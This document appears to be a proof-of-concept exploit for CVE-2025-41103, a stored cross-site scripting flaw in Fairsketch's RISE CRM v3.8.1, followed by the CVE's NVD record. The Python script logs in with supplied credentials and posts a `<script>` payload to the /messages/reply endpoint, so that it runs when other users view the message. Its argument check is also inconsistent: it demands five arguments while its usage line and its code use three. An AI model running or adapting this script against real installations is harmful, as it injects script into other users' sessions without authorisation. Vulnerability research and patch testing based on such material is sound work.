CVE-2025-41103

import requests import sys # CVE-2025-41103 PoC - HTML Injection in RISE CRM Framework # Target: Fairsketch's RISE CRM Framework v3.8.1 # Endpoint: /messages/reply # Parameter: reply_message def exploit_cve_2025_41103(target_url, username, password): """ Exploit HTML injection vulnerability in RISE CRM Framework Args: target_url: Base URL of the RISE CRM instance username: Valid low-privilege user credentials password: User password Returns: bool: True if exploitation successful, False otherwise """ session = requests.Session() # Step 1: Login to obtain session login_url = f"{target_url}/login" login_data = { 'email': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed with status code: {response.status_code}") return False print("[+] Login successful") # Step 2: Inject malicious HTML/JavaScript via reply_message parameter inject_url = f"{target_url}/messages/reply" # Malicious payload - Stored XSS payload = { 'reply_message': '<script>alert("XSS by CVE-2025-41103")</script>' } response = session.post(inject_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Malicious payload sent successfully") print("[*] Payload: <script>alert('XSS by CVE-2025-41103')</script>") print("[*] The XSS will execute when other users view the message") return True else: print(f"[-] Injection failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com [email protected] password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_41103(target, user, pwd)

{"cve": {"id": "CVE-2025-41103", "sourceIdentifier": "[email protected]", "published": "2025-11-11T13:15:44.563", "lastModified": "2025-11-17T15:23:41.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HTML injection vulnerability found in Fairsketch's RISE CRM Framework v3.8.1, which consist of an HTML code injection due to lack of proper validation of user inputs by sending a POST request in parameter 'reply_message' in '/messages/reply'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fairsketch:rise_ultimate_project_manager:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.9", "matchCriteriaId": "74BD57F9-A8D9-4C91-8B8B-06E6648E1791"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-fairsketchs-rise-crm-framework", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}